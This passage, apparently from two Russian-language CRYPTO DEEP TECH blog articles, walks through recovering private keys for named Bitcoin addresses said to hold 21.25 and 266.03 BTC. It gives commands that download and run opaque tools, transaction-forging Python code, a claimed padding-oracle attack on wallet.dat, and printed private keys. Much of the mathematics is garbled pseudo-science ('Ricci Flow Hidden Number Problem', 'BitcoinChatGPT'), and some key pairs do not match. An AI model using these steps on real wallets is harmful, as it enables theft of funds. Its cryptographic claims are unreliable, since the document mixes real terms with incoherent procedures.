g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ] и применим инструмент для математического анализа и решения дифференциальных уравнений. Perelman Work Перейдем обратно в корневой каталог репозитории Broadcast Bitcoin Transaction Сommands: cd - ls Сommands: cd darksignature/ !chmod +x darksignature ls !./darksignature Для получение публичного ключа к Биткоин Адресу 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw выбираем команду: darksignature -address <Bitcoin Address> Вводим Биткоин адрес и получаем публичный ключ: !./darksignature -address 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Результат: pubkey: (HEX) = 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 Запускаем программное обеспечение Dockeyhunt Lattice Attack и в поле "Input date" вводим Биткоин Адрес 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw и получаем публичный ключ кошелька: 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 Видео с привязкой ко времени Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина. Видео с привязкой ко времени Применим получение поддельные данные значение R, S, Z для транзакции алгоритма ECDSA в Google Colab Установим модуль ECDSA: pip install ecdsa Для получение координат (Gx, Gy) для публичного ключа воспользуемся Python-скриптом: darksignature/coordinates.py Воспользуемся командой darksignature -pubkey <Gx Gy> Запускаем код Python-скрипта: darksignature/transactions.py и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина. После генерации мы получаем файл: SignatureRSZ.txt Также в корневом каталоге: c:\PerelmanWork\Dockeyhunt Lattice Attack\ мы получаем файл: Signatures.txt Видео с привязкой ко времени Python скрипт: value_n.py В качестве инструмента для математического анализа и решения дифференциальных уравнений применим программное обеспечение Perelman Work. Выберем опцию из раздела Functions and Graphs для полной взаимосвязи между переменными через интеграцию First-order differential equations: [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ] Ricci Flow Hidden Number Problem Копируем значений из файла: Signatures.txt по списку и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA. Видео с привязкой ко времени В конечном результате преобразование переменных в сигнатуре значение R, S′, Z мы видим две цифры значение S ′ выстроено как структура поля (P): P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Это число определяет поле, в котором работает кривая secp256k1 для функционирование математических операций над точками на эллиптической кривой. Видео с привязкой ко времени Python скрипт: value_p.py Теперь нам известны сигнатуры значение разницы между числа N и P. При редукции мы можем получить скрытое число X как нам известно при смещение генерации одноразовых чисел (NONCES), значение переменных сигнатур R, S′, Z будут стремиться к одной точке. Эта точка и будет представлять собой скрытое число, то есть приватный ключ. (N — структуры группы точек, а P — структуры поля, X — приватный ключ ) Редукция базиса решетки в двумерном пространстве: решётка представлена синими точками, исходный базис — черные векторы, редуцированный базис — красные векторы. Алгоритм редукции решетки Ленстры-Ленстры-Ловаса (LLL) Repositories Установим SageMath в Google Colab: !sudo apt-get install sagemath python3-ecdsa Commands: !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/latticereductions.py !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt Запускаем Python-скрипт: latticereductions.py и получаем приватный ключ к Биткоин Адресу: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw !cat Ricci_Flow_Hidden_Number_Problem.txt > nonces.csv !python latticereductions.py nonces.csv 243 32 Результат: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 !pip install bitcoin __________________________________________________ Private Key WIF: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw total_received = 21.25292140 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur HEX: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Dockeyhunt Lattice Attack Для запуска алгоритма редукции решетки нажимаем на кнопку: Private Key Видео с привязкой ко времени 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw _____________________________________________________________________________________________________ 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw: 21.2529214 BTC _____________________________________________________________________________________________________ Видео с привязкой ко времени Приватный ключ получен! Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. git clone https://github.com/demining/Tutorials-Power-AI.git cd Tutorials-Power-AI/ python tutorials.py Применим уязвимость CVE-2024-42461: Signature Malleability в библиотеке Elliptic для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/1YGZiPtgY0vPQ3PwUvbAjQW8LcErVHRsT State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........97255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0 ....0220 ........1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5 .....0141 .....049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........d77522a2b18e0064aba02ca7f864a5bb22998259 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "a5828ec5775b967c36ab5c6a0184aaa52fd64e6650d07287cc7688266c6dbb28", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/dfc7da9a6b41d72253bfcb6ae6da2718de7d9b87/36SignatureMalleability/DecodeRawTX.txt#L31 Transaction Script The above script has been decoded BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py d77522a2b18e0064aba02ca7f864a5bb22998259 https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 0x17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Private Key WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Balance: 21.25292140 BTC ============================= KEYFOUND.privkey ============================= BitcoinChatGPT №5 Signature Malleability Vulnerability Algorithm Уязвимая Raw транзакция Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 Порядок выполнения действий на видео: Именно эту уязвимую RawTX мы рассматривали в начале данной статьи: ↩︎ Процесс декодирование RawTX с помощью инструмента decoderaw Как нам известно из prompt ответов модуля BitcoinChatGPT Signature Malleability Vulnerability Algorithm может быть использован для решения сложных криптографических задач. Заключение Существует множество методов обнаружения и предотвращения поддельных подписей в сети Bitcoin. Эти методы варьируются от простых решений, таких как увеличение количества подтверждений, до более сложных систем анализа аномалий и регулярного обновления протоколов безопасности. Эффективная защита требует комплексного подхода к обеспечению безопасности сети и постоянного мониторинга новых угроз. Поддельные подписи могут привести к мошенническим транзакциям и потере средств. Основные методы, используемые для обнаружения и предотвращения таких атак: References: Odlyzko, Andrew; te Reile, Herman J. J. «Disproving Mertens Conjecture» Journal für die reine und angewandte Mathematik D. Simon (2007). «Selected applications of LLL in number theory» LLL+25 Conference. Caen, France. Regev, Oded. «Lattices in Computer Science: LLL Algorithm» New York University. Retrieved 1 February 2019. Silverman, Joseph. «Introduction to Mathematical Cryptography Errata» Brown University Mathematics Dept. Retrieved 5 May 2015. Bosma, Wieb. «4. LLL» Lecture notes. Retrieved 28 February 2010. Abderrahmane, Nitaj. Cryptanalysis of NTRU with two public keys // International Association for Cryptologic Research. — Caen, France. Bleichenbacher, Daniel and May, Alexander. New Attacks on RSA with Small Secret CRT-Exponents // International Association for Cryptologic Research. — Darmstadt, Germany. Xinyue, Deng. An Introduction to LLL Algorithm // Massachusetts Institute of Technology. Liu, Jiayang, Bi, Jingguo and Xu, Songyan. An Improved Attack on the Basic Merkle–Hellman Knapsack Cryptosystems // IEEE. — Beijing 100084, China. Lattice algorithms using floating-point arithmetic // The FPLLL development team. FPLLL, a lattice reduction library. — 2016. Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/wf6QwCpP3oc Video tutorial: https://dzen.ru/video/watch/674116440bddfa35d730ca7a Источник: https://cryptodeeptool.ru/signature-malleability Криптоанализ
  7. Манипуляции с координатами кривой Jacobian исследование уязвимости поддельной подписи с помощью декодируемого файла Биткоин Кошелька CRYPTO DEEP TECH В данной статье рассмотрим на примере уязвимость, связанная с реализацией кривой Якоби (Jacobian Curve). В последние годы криптовалюты, такие как Биткоин, стали важной частью финансовой экосистемы. Однако с ростом их популярности увеличивается и количество угроз, связанных с кибербезопасностью. Одной из таких угроз является уязвимость алгоритма Jacobian Curve, которая затрагивает алгоритм цифровой подписи эллиптической кривой (ECDSA). Эта уязвимость позволяет злоумышленникам генерировать поддельные подписи, что может привести к серьезным последствиям для пользователей и целостности сети Биткоин. Jacobian Curve algorithm vulnerability относится к недостаткам в реализации криптографии эллиптических кривых, в частности, затрагивающим ECDSA. Злоумышленники могут манипулировать математическими свойствами координат Якоби, используемых в вычислениях эллиптических кривых, что позволяет им создавать мошеннические транзакции с поддельными подписями, также Jacobian Curve algorithm vulnerability связана с недостатками в реализации криптографии эллиптических кривых, применяемых в ECDSA. Эта уязвимость позволяет злоумышленникам манипулировать математическими свойствами координат Якоби, используемых для генерации цифровых подписей. В результате таких манипуляций злоумышленники могут создавать мошеннические транзакции с поддельными подписями, которые будут приняты системой Биткоин как действительные. Потенциальные последствия Основная угроза, связанная с этой уязвимостью, заключается в возможности несанкционированного доступа к средствам пользователей. Злоумышленники могут использовать поддельные подписи для создания транзакций, которые переводят биткоины из кошельков ничего не подозревающих пользователей на свои собственные счета. Это не только подрывает доверие к системе, но и может привести к значительным финансовым потерям для пользователей. Поддельные подписи позволяют злоумышленникам переводить средства с кошельков жертв на свои счета. Более того, такие атаки могут нарушить целостность блокчейна, создавая угрозу двойной траты и разрушая основной принцип работы системы. Атака «отказ в обслуживании» (DoS) и утечки конфиденциальной информации, включая «приватные ключи пользователей». Если определенные узлы в сети Биткоин скомпрометированы, это может привести к разветвлению блокчейна на несовместимые цепочки, создавая путаницу и потенциальные проблемы двойной траты. Кроме того, злоумышленники могут использовать эту уязвимость для запуска атак типа «отказ в обслуживании» (DoS), заполняя сеть недействительными транзакциями, что может сделать ее недоступной для законных пользователей. Механизмы эксплуатации и влияние на мультиподписи Уязвимость алгоритма Jacobian Curve особенно опасна для систем, использующих схемы мультиподписи, где для завершения транзакции требуется несколько подписей от разных участников. Злоумышленник может сгенерировать поддельные подписи, которые будут приняты системой, что ставит под угрозу не только отдельные транзакции, но и весь процесс использования мультиподписи. Практическая часть Из теории уязвимости алгоритма Jacobian Curve известно, что злоумышленники могут использовать уязвимость для проведения атак DoS, перегружая сеть недействительными транзакциями, что дестабилизирует работу сети Биткоин. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 , где были потерянный монеты на сумму: 266.03138481 BTC на август 2024 года эта сумма составляет: 15747770,36 USD 266.03138481 BTC > 15747770,36 USD Tutorials Power AI Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. git clone https://github.com/demining/Tutorials-Power-AI.git cd Tutorials-Power-AI/ python3 tutorials.py Применим уязвимость, связанная с реализацией кривой Якоби (Jacobian Curve) для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/17PN1uHeeGhQFTKRx6s8OS3YftgxNvQzd#scrollTo=2dl8T79mn1YL State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8a473044 ....0220 ......................1c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f5240 ....0220 ........7ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606 .....014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........334a75f1d3bbefa5b761e5fa53e60bce2a822879 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "e88bcb98a9352f5f936ce92acfc1fb98f6cf1aedf8a985ea67c63961c108a149", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/50de2ffdd7f9f06a34049d1c72559aa16b1bf42c/35JacobianCurve/DecodeRawTX.txt#L31C30-L31C70 Transaction Script The above script has been decoded BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/KEYFOUND.privkey BitcoinChatGPT №4 Jacobian Curve Vulnerability Algorithm Уязвимая Raw транзакция Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000 Порядок выполнения действий на видео: Как нам известно из prompt ответов модуля BitcoinChatGPT Jacobian Curve Vulnerability Algorithm может быть использован для решения сложных криптографических задач. Smart Transformers Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 https://colab.research.google.com/#create=true !git clone https://github.com/smartiden/Smart-Transformers.git cd Smart-Transformers/ !sudo apt-get update !sudo apt install libtool !sudo apt-get install g++ !sudo apt-get install libgmp3-dev libmpfr-dev !chmod +x Generic_Algorithms !./Generic_Algorithms !pip3 install transformers from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "microsoft/DialoGPT-medium" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) model = model.cpu() ls -S Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo !echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000' > RawTX.txt !cat RawTX.txt Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY. !./SMART_IDENTIFY ################################################# Jacobian_Curve_Algorithm ################################################# Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Jacobian_Curve_Algorithm !./Jacobian_Curve_Algorithm -o RawTX.txt -s wallet.dat Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0 getaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 Файл: wallet.dat зашифрован паролем! dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) Padding Oracle Attack Воспользуемся методом Padding Oracle Attack на Wallet.dat и расшифруем пароль для доступа в бинарный формат пароля. Сначала получаем доступ к файлу wallet.dat на сумму: 266.03 BTC Клонирование репозитории: Biggest Lost Bitcoin Wallets List git clone https://github.com/smartiden/Biggest-Lost-Bitcoin-Wallets-List.git Total Commander https://github.com/smartiden/Biggest-Lost-Bitcoin-Wallets-List/tree/main/266.03%20BTC Скачаем и установим Bitcoin Core 0.18.0 Откроем path: c:\Users\User\AppData\Roaming\Bitcoin\ Переместим файл: wallet.dat c:\Users\User\AppData\Roaming\Bitcoin\wallet.dat Запустим кошелек Bitcoin Core Encryt Wallet… Откроем консоль getaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 { "address": "15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2", "scriptPubKey": "76a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac", "ismine": true, "solvable": true, "desc": "pkh([334a75f1]04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e)#lrxwcu6z", "iswatchonly": false, "isscript": false, "iswitness": false, "pubkey": "04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e", "iscompressed": false, "label": "", "ischange": false, "timestamp": 1, "labels": [ { "name": "", "purpose": "receive" } ] } Bitcoin Address Information: Balance: 266.03138481 BTC Metasploit Framework and use MSFVenom Роль Metasploit Framework в разработке msfvenom Run ExploitDalenePRO.exe 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 c:\BitcoinTools\ExploitDalenePRO\modules\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\decode_core.rb decode_core.rb c:\BitcoinTools\ExploitDalenePRO\bitcoin\ https://github.com/bitcoin/bitcoin https://github.com/bitcoin/bitcoin/blob/master/src/crypto/aes.h c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\ c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\Users\User\AppData\Roaming\Bitcoin\ Upload Wallet.dat result.json walletpassphrase 1111010100000111010101011110110010011000010000001111001001010011010011110110010010010000000111101010111011101010001010100000011011001001111111110111000011010011101110101010101101101111001011100100101100011000111010011000101001001100011010001100110111111111 60 Run the command and get Private Key dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 Private Key Information: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP Bitcoin Address Information: Balance: 266.03138481 BTC https://www.coinbase.com/converter/btc/usd !pip3 install bitcoin __________________________________________________ Private Key WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP Bitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 total_received = 266.03138481 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP HEX: C5FBD161D334BA9BBC199BD9A427F05A46AACFABFBB3BC1BFF9D227E418D76D9 Заключение и меры по смягчению угрозы: Для защиты от угроз, связанных с уязвимостью Jacobian Curve, пользователям необходимо предпринять следующие шаги: Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность. Уязвимость алгоритма Jacobian Curve представляет собой значительную угрозу для безопасности криптовалютных транзакций и целостности блокчейна. Для минимизации рисков пользователи должны регулярно обновлять программное обеспечение, применять строгие меры безопасности и проводить постоянный мониторинг состояния сети. Эти меры помогут сохранить безопасность и устойчивость криптовалютных систем, защищая пользователей от потенциальных угроз и финансовых потерь. References: Jacobians of Curves Abelian Varieties: 10/10/03 notes by W. Stein Jacobian of special singular curves KUBRA NARI AND ENVER OZDEMIR On the Jacobian Varieties of Hyperelliptic Curves over Fields of Characteristic p > 2 NORIKO YUI Received October 15, 1977 Jacobian Coordinates on Genus 2 Curves Huseyin Hisil & Craig Costello Yasar University, Izmir, Turkey Jacobians of Curves of Genus One Harvard University Cambridge, Massachusetts April, 1999 Jacobian curve of singular foliations Nuria Corral Article à paraître, mis en ligne le 3 juillet 2024. AN ADDITION ALGORITHM ON THE JACOBIAN VARIETIES OF CURVES (FOR APPLICATIONS TO PUBLIC KEY CRYPTOSYSTEM) S. ARITA, S. MIURA, AND T. SEKIGUCHI THE JACOBIAN AND FORMAL GROUP OF A CURVE OF GENUS 2 OVER AN ARBITRARY GROUND FIELD E. V. Flynn, Mathematical Institute, University of Oxford On the genus of curves in a Jacobian variety VALERIA ORNELLA MARCUCCI Mathematics Subject Classification (2010) LOCAL ARITHMETIC OF CURVES AND JACOBIANS P. Allen, F. Calegari, A. Caraiani, T. Gee, D. Helm, B. Le Hung, J. Newton, S. Scholze, R. Taylor, and J. Thorne, Potential automorphy Compactified Jacobians of nodal curves Lucia Caporaso Expanded notes for a minicourse given at the Istituto Sup Note on curves in a jacobian Compositio Mathematica, tome 88, no 3 (1993) Arithmetic on Jacobians of algebraic curves Giulio Di Piazza Damien Robert From the curve to its Jacobian and back Christophe Ritzenthaler Institut de Mathématiques de Luminy, CNRS Montréal Generalized Jacobians I Caleb Ji Background from algebraic geometry Hyperelliptic Curves and their Jacobians Benjamin Smith Isogeny school, online, 2021 Inria + École polytechnique, France Jacobian curves for normal complex surfaces Fran¸coise Michel Mathematics Subject Classification 2000 THE JACOBIAN OF A RIEMANN 